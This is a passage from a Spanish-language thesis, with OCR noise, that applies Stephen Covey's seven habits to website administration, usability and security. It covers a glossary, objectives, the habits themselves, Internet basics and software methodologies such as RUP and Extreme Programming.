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Andlisis FODA

Apache

ASP

CERT

GLOSARIO

Técnica de administracion que consiste en analizar
un entorno dado, tomando en cuenta sus fortalezas,
oportunidades, debilidades y amenazas, con lo cual
se mejora el conocimiento y se tiene mas

herramientas para la toma de decisiones.

Servidor web gratuito bajo licencia open source, es el

servidor web mas popular de Internet.

Lenguaje de script que es propiedad de Microsoft
Corporation, sirve para generar contenido dinamico
de paginas, es decir aquellas que cambian segun
sean las condiciones en las cuales son desplegadas.

Institucion perteneciente a la Universidad Carnegie
Mellon cuyo objeto es discutir temas de seguridad e
Internet y proveer a los usuarios y profesionales de
informatica de documentacion y servicios de

seguridad.
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Cuadrantes

Enunciado de mision

Extreme programming

E-Zine

Son espacios de tiempo dentro de los cuales se
realizan actividades. Segun el modelo del Dr. Covey
existen cuatro cuadrantes y en todo momento se
trabaja en uno de ellos. Cada uno tiene diferente
impacto en la efectividad de las personas vy

organizaciones.

Conjunto de frases escritas que contienen una serie
de lineamientos que sirven de guia, estan basadas
en principios solidos, puede ser a nivel personal, o
empresarial, en este texto se mencionan en varios

contextos.

Metodologia de andlisis y disefio sélida pero flexible,
gue permite rapidos resultados y provee de buena
comunicacion y participacion de todo el equipo en un

proyecto dado.

Vocablo que significa Electronic magazine o revista
electronica, generalmente son sitios web que
contienen informacién sobre un tema particular,
pueden ser gratuitas o comerciales, segun sea el

caso.

Vil



Flash

Heuristicos

Internet information

service(lIS)

Open web application
security project
(OWASP)

PHP

Programa de afiliacion

Archivos interactivos multimedia creados por
Macromedia, consisten en animaciones graficas que
pueden ser descargadas por Internet, su uso se ha

expandido mucho y se aplican en diversas areas.

Conjunto de principios universales que forman parte
de reglas para la evaluacibn de un sistema en

particular.

Es el servidor web de Microsofty segundo en el

mercado de Internet en la lista de servidores web.

Institucion encargada de la investigaciébn y mejora-

miento de aplicaciones para Internet.

Lenguaje de script de cdédigo open source que se
utiliza para la generacion de paginas web dinamicas,
es decir aquellas que cambian segun sean las

condiciones en la cuales son desplegadas.

Estrategia por medio de la cual una empresa
contratante paga a un sitio web para que incluya
publicidad de sus servicios, generalmente la

empresa de afiliacion posee sitios de alto trafico.



RUP

Sinergia

Spyware

UcCIibD

Metodologia de analisis y disefio de software actual
gue consiste en la modelacion visual de las
caracteristicas del negocio asi como de la alta
administracion de proyectos basada en fases bien

definidas

Situaciéon que se produce cuando varios individuos
colaboran entre si obteniendo resultados mas
productivos que Si se
hiciera el trabajo individualmente, el

enunciado basico de la sinergia es: 1+1=3 0 mas.

Software que se instala en la maquina de los
usuarios sin su consentimiento y que efectia
actividades diversas como espionaje de passwords
y tarjetas de crédito asi como recoleccién de
informacion sobre habitos de

navegacion entre otras cosas.

Metodologia de andlisis y disefio que pretende
mejorar la experiencia de los usuarios finales en el
uso de sistemas de software por medio de técnicas

para crear software intuitivo y facil de usar.



RESUMEN

La presente investigacion consiste en la propuesta de aplicacion de los siete
habitos de la gente altamente efectiva a la administracion de sitios web. El libro
de los siete habitos es considerado como una de las obras que mas influencia
ha tenido sobre la cultura tanto personal como organizacional de finales del
siglo XX.  Su autor el Dr. Stephen Covey es un experto mundial en temas de
liderazgo, comunicacién y relaciones interpersonales y familiares y obtuvo la
idea de su libro investigando 200 afios de literatura sobre liderazgo y éxito como
parte de su tesis doctoral.

En este texto se aborda cada uno de los habitos propuestos por el Dr. Covey
desde el punto de vista de andlisis, disefio y mantenimiento de un sitio web, que
incluye tres temas principales en cada habito: administracion, usabilidad y
seguridad, proponiendo su aplicacion a cualquier tipo de sitio web

independientemente de su contenido.

La administracion tiene que ver con las actividades de planificacion,
seguimiento y control en el ciclo de vida de un proyecto web, cubriendo temas
como mercadeo, publicidad, presupuesto, equipos de trabajo, aspectos legales

y politicas de precios.

La usabilidad tiene que ver con las actividades destinadas a crear sitios web
sumamente faciles de usar, agradables visualmente, eficientes en sus
procesos y que tengan capacidad de crecimiento y redisefio sin perder sus

caracteristicas fundamentales.

Xl



En este apartado y a lo largo del texto se analizan las técnicas mas

utilizadas para lograr los objetivos anteriormente descritos.

La seguridad es un aspecto clave ya que permite a las empresas
propietarias de los sitios web, operar de manera mas segura, reduciendo los
riesgos asociados a las aplicaciones en Internet por medio de politicas
adecuadas. En este texto se discutiran las vulnerabilidades mas comunes en
aplicaciones de Internet, asi como los medios de defensa contra ellas. También
se ensefara al lector a utilizar Internet de manera mas segura por medio de

sencillas pero eficientes practicas.
Finalmente, se utilizaran los conocimientos descritos para evaluar un sitio

web y recomendar medidas practicas para que este sea mas eficiente y

seguro.

Xl



OBJETIVOS

e General

Proveer de una guia simple y efectiva para la administracion de sitios web
utilizando para ello la reconocida metodologia de los siete habitos de la gente

altamente efectiva del Dr. Stephen Covey.

e Especificos

1. Dar a conocer al lector el concepto de los siete habitos de la gente
altamente efectiva asi como las definiciones de usabilidad, seguridad
y metodologias de desarrollo, todo ello aplicado al entorno de

sitios web.

2. Dar a conocer al lector las bases de la administracion de un sitio web,

incluyendo la planificacién asociada al mismo.

3. Dar a conocer al lector el concepto de usabilidad y la manera de

aplicarlo eficientemente en el analisis y disefio de sitios web.

4. Dar a conocer al lector las principales amenazas de seguridad que

afectan a un sitio web y ensefiar como combatirlas.
5. Dar a conocer al lector el resultado del analisis de seguridad y

usabilidad practicado al sitio web del laboratorio SAE/SAP por medio

de la metodologia de los siete habitos

X



INTRODUCCION

La presente investigacion tiene el objetivo de poner en practica Los siete
habitos de la gente altamente efectiva, segun el libro del mismo nombre en un

entorno de administraciéon de sitios web.

En este documento se propone un modelo para utilizar dicha metodologia
con el fin de crear sitios web altamente eficientes, bien administrados, seguros y
con un alto grado de usabilidad. Los siete habitos seran descritos en los
capitulos posteriores y cada uno de ellos sera adaptado hacia el entorno de
Internet con el fin de que el lector pueda tener una guia simple y efectiva para la
construccion de sitios web, independientemente del tipo de proyecto que se

desee construir.

Al leer este documento, el lector podra conocer de manera simple las
caracteristicas mas importantes a ser tomadas en cuenta para llevar a cabo un
proyecto web a buen término, basandose en la metodologia de los siete

habitos.

Cada habito contiene tres aspectos fundamentales para la administracion
de sitios web, la administracién, la usabilidad y la seguridad; a lo largo de los
capitulos, cada uno de estos temas serd desarrollado de acuerdo a diversos

temas relacionados con los mismos.

Finalmente se realizar4 una evaluacion de un sitio web existente y se

recomendaran acciones para mejorar su eficiencia, seguridad y facilidad de uso.

XV



1. MARCO TEORICO

A continuacion se presenta una serie de conceptos que seran utilizados
como base de la investigacion, sus definiciones basicas y su significado mas

importante.

1.1 Los siete habitos de la gente altamente efectiva ®

Origen y definicién

Los siete habitos de la gente altamente efectiva ® es el titulo del libro
que escribio el Dr. Stephen Covey, conocido pensador y consultor familiar y
empresarial de la actualidad, el Dr. Covey escribio el libro debido al hallazgo

gue hizo sobre su investigacion de tesis doctoral.

El Dr. Covey se propuso encontrar en los libros de los pasados
doscientos afios los factores comunes del éxito y del liderazgo tanto personal,
como empresarial, y de dicha labor surgieron los pilares de lo que llamé los
siete habitos.

Los siete habitos son el resumen de dicha investigacion, como el mismo
Dr. Covey ha mencionado y no una invencién personal, sin embargo han
probado ser una guia Gtil en la busqueda del mejoramiento personal y de grupo,
ya sea este familiar o empresarial, ya que los siete habitos pueden aplicarse

practicamente a cualquier entorno de la vida.



Puntos importantes de los siete habitos

De adentro hacia afuera !

El liderazgo y la excelencia pueden alcanzarse Unicamente Si estos se
cultivan firmemente en la propia persona, es decir, adquiriéndolos primero a
nivel personal y posteriormente influenciar a las personas que se encuentran en
el circulo social del involucrado, este primer paso ha sido llamado la victoria
privada ya que simboliza el éxito que se obtiene luchando contra las propias
fuerzas internas del individuo y rompiendo con ideas rigidas y preconcebidas

del pasado para dar lugar a una mentalidad abierta y de aprendizaje.

Cambio de paradigma

Un paradigma es un conjunto de modelos mentales e ideas que una o
mMas personas tienen sobre algun tema en particular, normalmente enraizado
desde tiempo atras y que es dificil de cambiar. Un cambio de paradigma
significa adquirir una nueva manera de pensar Yy la capacidad de ver las cosas
de diferente manera, de modo que éstas puedan enfrentarse de modo distinto,
lo que generalmente permite alcanzar soluciones que de otro modo son dificiles

de visualizar.

Paradigma centrado en principios

Los principios son leyes fundamentales que no cambian y que se
mantienen invariables a lo largo del tiempo, sin importar los acontecimientos
que sucedan alrededor, de ahi su fuerza y consistencia, aunque una persona
los abandone y deje de practicarlos, los principios siguen siendo validos
invariablemente.  Algunos ejemplos de principios son: la honestidad, la

honradez y la puntualidad.



Un paradigma centrado en principios promueve que nuestras ideas y
acciones se basen en dichos principios, lo cual da a nuestra vida una base firme

y solida de accién.

Descripcion de los siete habitos

1.2 Primer habito: sea proactivo

Para entender la proactividad, se debe entender primero su opuesto: la
reactividad que es una situacion comdn en todas las personas, debido a la
educacion que normalmente se recibe en el hogar y las influencias del
ambiente, la reactividad consiste en que los individuos reaccionen a los
estimulos externos segun estos sean, es decir, que si los estimulos son
positivos el individuo responde positivamente, pero si estos son adversos, el
individuo se defendera y respondera normalmente de manera agresiva y se
pondréd a la defensiva inmediatamente evadiendo toda responsabilidad de los

hechos y culpando a los otros de sus errores.

Actualmente, muchas personas hablan acerca de la proactividad, lo
asocian con el concepto de hiperactividad, especialmente cuando se habla de la
eficiencia de los empleados, sin embargo esto no es asi, la proactividad es un
habito que hace a una persona o grupo libre de su ambiente y de las ideas
preconcebidas tanto propias como ajenas, dandole la libertad de tomar sus
propias decisiones de adquirir la responsabilidad de las mismas. En pocas
palabras permite a las personas decidir por si mismas su destino, sin ver las
dificultades como obstaculos sin mas bien como oportunidades y sin necesidad

de culpar a los otros por los errores propios.



Entre el estimulo y la respuesta

A toda accidon sigue una reaccion, esto es una ley reconocida, sin
embargo entre el estimulo (accién) y la respuesta (reaccidén) existe un vacio o
periodo de tiempo en el cual se encuentra la decision que el individuo debe
tomar, es decir, que en ese breve lapso antes de reaccionar ante un estimulo,
el individuo esta en la libertad de actuar segun sea su paradigma, y es
responsable de dicha accion desde ese momento, aunque parezca
insignificante este simple cambio puede crear efectos inmensamente grandes

en la conducta del individuo o grupo.

La esencia de toda persona proactiva, es que basa sus paradigmas en
principios, lo cual le brinda la posibilidad de tener siempre un horizonte claro en
donde orientarse en diversas situaciones, sin el temor de ser manipulado por
sentimientos alterados o por la presion del ambiente. EIl ser proactivo es una
practica nada facil al inicio pero que a su tiempo rinde grandes frutos en la
persona dotandole de libertad y tranquilidad junto con la responsabilidad de

proyectar su vida hacia adelante.

Para ser proactivo siempre se deben subordinar los sentimientos ante
los valores, aunque es imposible no verse afectado por la influencia externa, los
principios hacen que se vuelva al camino correcto, lo que el Dr. Covey llama
“estar fuera del camino el 90% de las veces”, es decir, que aunque parezca
que las influencias externas gobiernen la conducta de las personas proactivas
tanto como las de la gente reactiva, los principios vuelven a encauzar a la

persona hacia el camino correcto y le permiten ver las cosas claramente.



1.3 Habito dos: empezar con un fin en mente

Empezar con un fin en mente significa estar basado en principios solidos
para actuar en todo momento guiado por valores y no por sentimientos,
teniendo siempre la certeza que las decisiones tomadas seran beneficiosas
para el entorno en el cual se llevan a cabo y que no deterioraran las relaciones

con la familia, amigos y comparieros de trabajo.

El primer habito trata sobre el ser proactivo, el habito dos toma esa
proactividad y la convierte en planes concretos, se convierte en la primera
creacion; ya este habito consiste en la ordenacién de las ideas que luego seran
puestas en marcha; el habito dos toma esas ideas y las coloca dentro de planes
concretos de ejecucion.

Cuando se planifican actividades, el liderazgo precede a la administracion, esta

altima dice cdmo hacer las cosas mientras el liderazgo indica qué hacer.

Enunciado de mision

El enunciado de mision es fundamental dentro de una organizacién o para
una persona particular, consiste en una lista de principios y valores que a
criterio nuestro deben regir nuestras acciones y pensamientos en todo
momento, fundamentalmente responderse a las preguntas de quién se desea
ser y qué es lo que se desea alcanzar, todo ello basado en principios y valores
sélidos.



Nuestras vidas estan edificadas sobre cuatro pilares fundamentales, los
cuales nos brindan la sensacion de éxito y autorrealizacion, estos pilares son la
seguridad, la guia, vision y poder, estos principios son interdependientes y
tienen escalas independientes las cuales pueden combinarse segun sea la
aptitud de la persona. Estos elementos en conjunto definen a la persona como
un ente interdependiente capaz de influir en su entorno con mayor o menor

fuerza.

Es sumamente importante identificar nuestro centro de vida a cada
momento con el fin de identificar si este se encuentra en un valor o principio
sélido y duradero para nuestras vidas, ya que si este centro no se basa en
principios, entonces toda la fundacion de nuestras vidas puede tambalearse con

cualquier imprevisto.

Nuestro paradigma estd formado por modelos mentales fuertemente
enraizados, pero si se es proactivo estos pueden cambiar y producir nuevas
formas de pensamiento y conducta con la correspondiente cuota de crecimiento

personal y organizacional.

Los componentes béasicos para reescribir nuestro paradigma son la
conciencia, el autoconocimiento y la imaginacion, si se dispone de estos tres
principios entonces cualquier paradigma que poseamos puede ser modificado

eficientemente.

Se deben identificar en todo momento los roles a desempeiar y las
metas asociadas a dichos roles, todo ello asociado al enunciado de misién
personal o empresarial que se trazd con anterioridad, ejemplos de roles son:

esposo, hijo, empleado, presidente etc.



1.4 Habito tres: primero lo primero

Mientras el habito dos es la primera creacién o creacion mental, el habito
tres es la creacion fisica o la realizacion material del habito dos, lo cual requiere
que los habitos uno y dos sean practicados como requisito fundamental, accion

que se requiere de mucho coraje y disciplina.

La planificacibn de las actividades puede hacerse dentro de varios
esquemas, sin embargo debe utilizarse el esquema de cuarta generacion de la
planeacion de manera preferente. Este esquema consiste en planificar las
actividades basandose en el valor ce cada una de ellas en lugar de hacerlo

segun la prioridad de cada una como se hace normalmente.

Cuadrantes del tiempo

Segun el Dr. Covey, toda actividad humana se realiza dentro de 4
cuadrantes de tiempo, cada actividad se encuentra dentro de uno de esos
cuadrantes y se ordenan segun sea la importancia o urgencia de la actividad a
desarrollar, dichos cuadrantes son: cuadrante 1 importante/urgente, cuadrante
2: importante/ no urgente, cuadrante 3: no importante/urgente y cuadrante 4 no

importante/no urgente.



Figura 1. Cuadrantes de la administracion del tiempo

URGENTE NO URGENTE

1 2

IMPORTANTE

3 4

NO IMPORTANTE

Fuente: Covey, habito tres véase *

La mayoria de personas se mantiene en el cuadrante niumero uno, el
cual representa a lo urgente e importante, normalmente las actividades inician
por el cuadrante dos es decir que son importantes pero no urgentes, sin
embargo la mayoria de personas al no ser proactivas descuidan estas
actividades trasladandose a los cuadrantes tres (lo urgente pero no importante)
o bien al cuatro (ni urgente ni importante).

Lo anterior crea un circulo vicioso que terminar4 nuevamente en el
cuadrante uno debido a que no queda mas tiempo para dedicarse a esa tarea

tan importante y que ahora es urgente.

Las personas proactivas se mantienen en el cuadrante dos ya que esto
les proporciona tiempo suficiente para planificar sus actividades de manera
eficiente y con ello evitar estar siempre en el cuadrante uno donde imperan el

caos y el estrés.



Mantenerse en el cuadrante dos exige una buena cuota de disciplina y de
coraje para evitar los cuadrantes tres y cuatro donde se mantienen las personas
ineficientes e irresponsables, las cuales generalmente son las que pierden sus

trabajos o son altamente reactivas.

Planeacién

En un enfoque proactivo basado en principios se debe desechar la
prioridad para la planificacion y se debe concentrar en los principios, la
planificacién diaria, aunque util es insuficiente ya que priva de las metas
semanales y mensuales y debido a esa falla tiende mucho a caer en el

cuadrante uno, con la consiguiente cuota de estrés y tension.

La planificacion por tanto, debe ser, a criterio del Dr. Covey, semanal y estar
basada en roles que se toman del enunciado de misién personal, descrito en el
habito dos. Al final de la semana se deben revisar los planes realizados y
evaluar el cumplimento de las metas trazadas de antemano y de ser necesario

aplicar medidas correctivas con el fin de fomentar la renovacion constante.

La planificacion incluye también la delegacion de tareas en otras
personas, lo cual es beneficioso para poder dedicarse a tareas de mayor valor,
se debe ser cuidadoso en la delegacidon ya que esta puede estar vinculada al
método de ejecucion de la misma, en la medida de lo posible, la persona a la
cual ha sido delegada la tarea debe preocuparse de los resultados y no debe
recibir mas instrucciones de las necesarias con el fin de fomentar la
responsabilidad y de dejar que la persona apligue sus conocimientos y

creatividad en la busqueda de nuevas alternativas.



1.5 Habito cuatro: piense en ganar-ganar

El cuarto habito es el primero de la segunda parte de la obra del Dr.
Covey, y consiste en que una vez se ha alcanzado el liderazgo personal, se
estq listo para influir con dicho liderazgo al entorno en el cual nos
desenvolvemos con el fin de crear equipos de trabajo eficientes proactivos e

interdependientes, con valores y metas comunes y una vision compartida.

Paradigmas de cooperacién humana

Las personas tenemos varios esquemas de cooperacidon mutua, esos
esquemas definen como lucharemos por un objetivo, sea comun o no, y segun
sea este esquema asi también obtendremos una recompensa moral o bien una

carga psicoldgica adicional , los modelos son los siguientes:

e Ganar-perder: significa que una persona gana y la otra pierde (o bien un
equipo resulta vencedor y el otro derrotado). Este esquema es muy comun y
ha sido parte de nuestro paradigma desde nifios, para la persona que
resulta vencida generalmente significa una alta frustracién, mientras que
para la vencedora una euforia acompafiada de sentimientos de ego
agrandados y de desprecio al perdedor, aunque en ocasiones se presentan

sentimientos de culpa en el vencedor.

e Perder-ganar: es exactamente lo opuesto a lo anterior, significa que una
persona debe perder para que la otra gane, esto es caracteristico de
personas de débil caracter que piensan que es normal que pierdan mientras
los otros se quedan con todo. Es igualmente negativo que la opcion anterior

ya que fomenta la desigualdad.
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Perder-perder: este esquema es aun mas nocivo que ganar-perder ya que
ambas partes resultan perjudicadas porque ninguna gana, sino ambas
resultan perdedoras, este esquema es propio de gente u organizaciones
inflexibles, tercas y reactivas que prefieren perder un beneficio antes que dar
su brazo a torcer, un ejemplo claro es el agricultor que prefiere tirar su
cosecha y desperdiciarla toda antes que venderla a bajo precio a sus

clientes, con el pretexto de que “aqui se hace lo que yo digo”.

Ganar: este esquema es propio de la gente indiferente y egoista, su Unica
intenciébn es salir beneficiados de una situacibn o negociacion, sin
importarles qué suceda alrededor; si el otro gana, pues esta bien, si pierde
pues no importa, lo que si importa es que yo gane siempre. Es un esquema

muy comun en los negocios.

Ganar-ganar: este esquema surge de un cambio de paradigma y de un
empuje proactivo, sugiere que en una negociacion o acuerdo entre dos
partes, las dos deben salir beneficiadas en mayor o menor grado, pero las
dos deben estar de acuerdo con la decisién tomada. Este esquema es muy
importante porque fortalece la union del grupo y la confianza entre el mismo,
ya que las partes involucradas no se sienten utilizadas ni engafiadas debido

a gue la negociacion es mutuamente beneficiosa.

En todo grupo de individuos existe un concepto llamado cuenta bancaria

emocional y consiste en que cada vez que un grupo 0 persona ejecuta un acto

de consideracion hacia el otro, efectia un depdsito, mientras que cuando

realiza un acto que vulnere la libertad, conciencia o respeto hacia el otro ejecuta

un retiro, generalmente un retiro es mas voluminoso que un depdésito.
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El punto es que una persona con una cuenta bancaria emocional baja,
tendra altas sus defensas psicolégicas y sera muy reactiva con tendencia a
litigar y revelarse, mientras que una persona con una cuenta emocional alta
tendra mayor paciencia, consideracion y comprension para tolerar
desacuerdos, dicha cuenta siempre es dicotdmica, es decir se da entre dos
individuos, entre dos grupos o entre un individuo y un grupo o a la inversa. Este

tema se tratara con mayor profundidad en el capitulo 4.

1.6 Habito cinco: procure comprender a los demas

antes de querer ser comprendido

El habito cinco comprende las habilidades basicas de comunicacion,
estas habilidades son definitivamente las mas importantes en la vida del ser
humano ya que éste pasa casi siempre comunicandose con sus semejantes de

forma verbal o en abundantes formas no verbales.

En la formacion de cualquier ser humano en la escuela existe la
ensefianza de la lectura, de la escritura y cuando es un infante, la ensefianza
del lenguaje oral por parte de sus padres, sin embargo, escuchar es quizas la
parte mas importante de la comunicacion, tarea que sin embargo no es
fomentada casi en ningun ambiente, lo cual nos deja en una situacion en la que
los conflictos personales son mas importantes que los ajenos o bien nuestra

opinion es mas valedera que la de los otros, si no Unica.

El habito cinco implica un gran cambio de paradigma, ya que propone
botar nuestras barreras psicologicas y escuchar al otro de manera atenta, no a
la defensiva y sin tratar de desprestigiarle, es decir tratar de entenderle primero
libre de prejuicios.
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Esto se llama escucha empatica y provee grandes beneficios en la
comunicacién entre grupos derribando las barreras psicolégicas que todos

tenemos las cuales ocultan al verdadero “yo” interno mientras mas altas sean.

Antes de juzgar se debe escuchar cuidadosamente, y tratar de alejar los
prejuicios (prejuicio es un juicio previo a cualquier accion y por naturaleza

destructivo) que se tienen ante cualquier persona.

Especialmente se debe evitar a toda costa el “recetar soluciones” antes
de efectuar el correcto diagnéstico, lo cual solo es posible si antes se derriban

los antes mencionados prejuicios.

1.7 Habito seis: sinergice

La sinergia es motor potente e indispensable en el trabajo de grupo, ya
sea con la familia, amigos o dentro de la organizacion, sugiere pertenencia al
grupo e identificacién con la mision grupal y de conjunto, significa simplemente
que la unién de fuerzas de un grupo produce mayores beneficios que la suma
de todos los esfuerzos hechos individualmente por los mismos participantes o

como dice el Dr. Covey: “uno mas uno es igual a tres 0 mas”.

Como se vio en el habito cuatro se debe buscar siempre un esquema
ganar-ganar, esto significa buscar siempre una tercera alternativa. Por
naturaleza el ser humano esta educado a pensar de forma dicotomica: bueno o
malo, eficiente o ineficiente, culto e inculto pero la realidad dificiimente es
dicotomica, siempre tiene mas de una alternativa hacia un problema

determinado.
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El ser sinérgico significa esforzarse en encontrar esa opcién oculta que
lleve hacia un comun entendimiento, muchas veces las personas sienten que
tienen la razon absoluta en una determinada situacion, mientras que los otros
estan equivocados y sus contrapartes piensan lo mismo, lo que redunda en un
bloqueo de ideas con la consiguiente degeneracion de la comunicacion y
entendimiento, esto es peligroso porque puede llevar hacia un esquema perder-

perder que es sumamente nocivo para los entornos de grupo.

Es importante en todo momento valorar las diferencias, lo que significa
gue la persona con la cual se estd en desacuerdo tiene razon, aunque “yo”
también la tenga, esto es buscar los puntos comunes en los cuales estamos de
acuerdo y trabajar sobre ello con el fin de que los demas aspectos se clarifiquen
en el camino. Valorar las diferencias requiere ser altamente proactivo ya que
no es facil aceptar la razon del otro cuando se sabe que uno esta en lo correcto,
pero la contraparte lo percibird y tal y como se mencioné en el habito 5, bajara

sus defensas con la consecuente mejora en la negociacion.

1.8 Habito siete: afilar la sierra

El séptimo habito consiste en la renovacion, esta renovacion prepara al
individuo para seguir mejorando en sus entornos de vida, personales,
familiares, sociales y empresariales, asi como le da nuevas energias para
afrontar los desafios futuros. Este habito trabaja en el cuadrante de tiempo dos.

El Dr. Covey define cuatro niveles de renovacion:

Renovacion fisica

Esta renovacion implica el cuidado del cuerpo humano, consiste en

comer bien, descansar la cantidad correcta de tiempo y hacer ejercicios.
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En la vida diaria que la mayoria de personas afronta, la alimentacion
adecuada, el descanso y sobre todo el ejercicio son actividades que casi no se
efectlan con el pretexto de que no se tiene tiempo para ellas, sin embargo, la
negligencia en la practica de las mismas, conduce a situaciones de urgencia en
el cuadrante uno referentes a la salud, donde se debe recurrir a tratamientos
correctivos de la salud que a la larga exigen mayor esfuerzo del efectuado si se

hubiera tenido cuidado en aplicar la renovacion.

Es necesario hacer ejercicio con el fin de tener buena forma fisica y de
evitar enfermedades del corazén, asi como para que el cuerpo se encuentre

fuerte y el metabolismo y la energia alta, asi como el estrés bajo.

Renovacion espiritual

Este tipo de renovacion tiene que ver con el centro de vida descrito en el
habito dos, consiste en aprender y practicar alguna doctrina espiritual que
ayude a la persona a tener una guia o eje fundamental de vida que le
fortalezca, especialmente en los tiempos dificiles y que le ayude a mantener los
pies sobre la tierra, ejemplo de ello son las religiones, la lectura de textos

inspirados y la musica especialmente seleccionada.
Renovacién mental

Consiste en mantener una conducta de aprendizaje continuo, muchos
profesionales al salir de sus facultades descuidan su aprendizaje y quedan

rapidamente obsoletos. En un area como la informética esto es impensable

debido al rapido avance de la misma y al aparecimiento de nuevas tecnologias.
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El principal medio para la renovacion es la lectura, ya que normalmente
los libros se pueden llevar consigo la mayor parte del tiempo, la renovacién no
debe limitarse Unicamente al &rea de interés o especialidad de la persona sino a
cualquier tema que enriquezca el conocimiento o cultura general y que le

proporcione al individuo una vision mas amplia del entorno en el cual existe.

Renovacion social

Renovacion social se refiere a la practica de los habitos cuatro, cinco y
seis, consiste en saber como relacionarse mejor con los demés y alcanzar
metas de grupo por medio de la escucha empética, la sinergia y la busqueda de
acuerdos ganar-ganar. Se debe alentar los depdsitos positivos en la cuenta
bancaria emocional con los demas y se debe tratar en la autoafirmacion positiva
para producir un cambio de paradigmas personal e influir en los demas para

que también ellos cambien sus paradigmas.

Cada una de estas dimensiones de renovacion deben ser practicadas
constantemente y durante toda la vida, ya que la negligencia en la practica de
una sola de ellas perjudica a las demas y se siente su efecto en la persona, la
renovacion muestra sus frutos sobre los 7 habitos, ayudando al individuo a

cambiar sus paradigmas y a practicar el aprendizaje continuo.

1.9 Principios béasicos sobre Internet

Internet es la red mundial de informacién. Una red como Internet es un

grupo de computadoras que intercambian informacién, segun reglas definidas.
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Internet nacié con fines militares pero su potencial hizo que se
extendiera luego a entidades educativas y finalmente al mundo comercial,
Internet ha revolucionado la manera de ver y entender la informacién, también
ha revolucionado los negocios, las comunicaciones y acortado las distancias

entre paises y continentes.

Como toda red, Internet esta formado por computadoras que se
encuentran conectadas entre si, con el fin de intercambiar informacion, las
computadoras que poseen informacibn y que la distribuyen a otras
computadoras son llamadas generalmente servidores. Para estar conectado a
Internet es necesario contar con un proveedor de Internet, este proveedor
llamado comunmente ISP o proveedor de servicios de Internet en Inglés, es una
empresa dedicada a vender el servicio de conexion hacia Internet a sus

clientes.

Para acceder a la informacion contenida en Internet, se necesita un
programa que nos muestre en pantalla dicha informacion, este generalmente se
llama browser o navegador. Ejemplo de algunos navegadores son:
Netscape/Mozilla e Internet Explorer, el browser del usuario que se conecta a
Internet se denomina cliente, este por medio del usuario realiza peticiones al
servidor destino el cual responde a la solicitud del usuario enviando o

denegando el recurso pedido segun reglas definidas de acceso en el servidor.

Los recursos normalmente se encuentran en Internet por medio de
paginas, las paginas son elementos visuales similares a las paginas de una
revista, los cuales permiten al usuario obtener la informacion requerida o bien

buscarla en el caso que no la haya encontrado aun.
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Varias paginas forman un sitio, el cual normalmente se encuentra alojado
en algun servidor remoto, este servidor para ser localizado dispone de una
direccion numérica llamada direccién IP, la cual identifica de manera Unica a
dicho servidor, sin embargo, para los seres humanos es mas sencillo recordar
frases que nameros, por lo que fue creado el URL que no es otra cosa que las
direcciones que se escriben en los navegadores para acceder a un sitio 0

pagina, por ejemplo www.google.com que esel URL de un sitio en Internet.

Los sitios pueden contener informacion estética, es decir informacion que
se mantiene fija en el tiempo y que solo cambia al ser modificada
intencionalmente; estas paginas estan creadas en su mayoria en el lenguaje
HTML que es el lenguaje de programacion basico de Internet. Una pagina
puede contener informacion dindmica, la cual es generada en tiempo real,
segun sean las condiciones de ejecucion que la pagina tenga en determinado
momento. La informacion desplegada en tiempo real es creada por lenguajes
que se ejecutan en el servidor, o bien en el cliente, y que presentan la
informacion como si se tratase de una pagina estéatica con un formato definido,
cuando en realidad ésta ha sido creada en el momento de ser ejecutada.
Algunos de los lenguajes de creacion de paginas dinamicas son PHP y ASP.

Cuando una pagina o sitio, contiene informacion que interactia con el
usuario y que permite que éste ingrese, modifique, elimine o busque datos, es
llamada aplicaciéon en Internet, generalmente las aplicaciones en Internet se
encuentran conectadas con una base de datos que les permite almacenar la
informacion necesaria para la aplicacion y presentarla en un formato adecuado

al usuario que desee consultarla.
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1.10 Metodologias de desarrollo de software

Conforme el desarrollo de software fue ganando auge, muchos
investigadores se dieron cuenta que un gran namero de proyectos de software
fracasaban ya sea parcial o totalmente y la mayoria de veces era por la
ausencia de una metodologia de trabajo determinada, de ahi fueron naciendo
las metodologias de andlisis y disefio que pretenden ser una guia a seguir para
incrementar el éxito de los proyectos y permitir a los administradores ser mas

eficientes y cumplir con sus objetivos.

En este texto se mencionaran las dos metodologias principales de la
actualidad: Rational Unified Process o RUP y Extreme Programming, asi como
las nuevas metodologias orientadas al usuario como  User Centered

Information Design o UCID, todas ellas aplicadas al entorno de Internet.

Rational Unified Process(RUP)

RUP es una metodologia de desarrollo de software, desarrollada para
administrar tanto proyectos pequefios como grandes, actualmente es uno de los
esquemas mas utilizados para proyectos de gran tamarfo, segun Per Kroll y

Philippe Kruchten ? las caracteristicas principales de Rational son:

o Atacar tempranamente y continuamente los riesgos mayores o ellos lo

atacaran a usted.
o Asegurarse de entregar valor a los clientes.
o Concentrarse en el software ejecutable.

e Acomodar los cambios prontamente en el proyecto.
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« Trazar una arquitectura tempranamente.

e Construir el sistema basado en componentes.

e Trabajar conjuntamente como un solo equipo.

o Hacer de la calidad un estilo de vida, no un fin tardio.

Rup para proyectos web sera tratado con mas detalle en el apartado 1.
Extreme Programming (XP)

XP es otra metodologia popular de administracion de proyectos de
software, segun varios expertos XP es bien recibida entre desarrolladores
debido a sus caracteristicas flexibles y metodologia ligera, En su libro, Erich

Gamma ° considera las siguientes como las principales caracteristicas de XP:

Es una metodologia de desarrollo de software ligera, eficiente, de bajo

riesgo, flexible y predecible, se distingue de otras metodologias por:

e Sus ciclos cortos y continuos y su constante retroalimentacion.

e Su planteamiento incremental, el cual rapidamente resuelve los planes
necesarios para evolucionar durante el ciclo de vida del proyecto.

e Su habilidad de recalendarizar de manera flexible la implementacion de
la funcionalidad, respondiendo a las cambiantes necesidades de los
negocios actuales.

e Su implementacion de pruebas automatizadas escritas por
desarrolladores y clientes para monitorear el progreso del desarrollo y
permitir al sistema evolucionar y capturar errores prontamente.

e Su confianza en la comunicacion oral, pruebas, y cédigo fuente para

comunicar la estructura del sistema.
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e Su efectividad en el proceso de disefio que dura mientras dura el
sistema.

e Su practica de colaboracion entre programadores con habilidades
ordinarias.

e Los intereses a largo plazo del proyecto.

1.11 Usabilidad

Segun Pradeep Henry * la usabilidad es la cualidad que posee un producto
de software para ser facil de usar y facil de aprender asi como proporcionar al
usuario final satisfaccion en la ejecucion de tareas de soporte y rutinarias, todo
sistema de software con esas caracteristicas promueve el aprendizaje y
especializacion. La usabilidad sera tratada a lo largo del texto como un tema
especializado.

User Centered information Design (UCID)

Es una metodologia de desarrollo de software que tiene por objeto la
administracion del proceso de analisis, disefio e implementacion y evaluacion
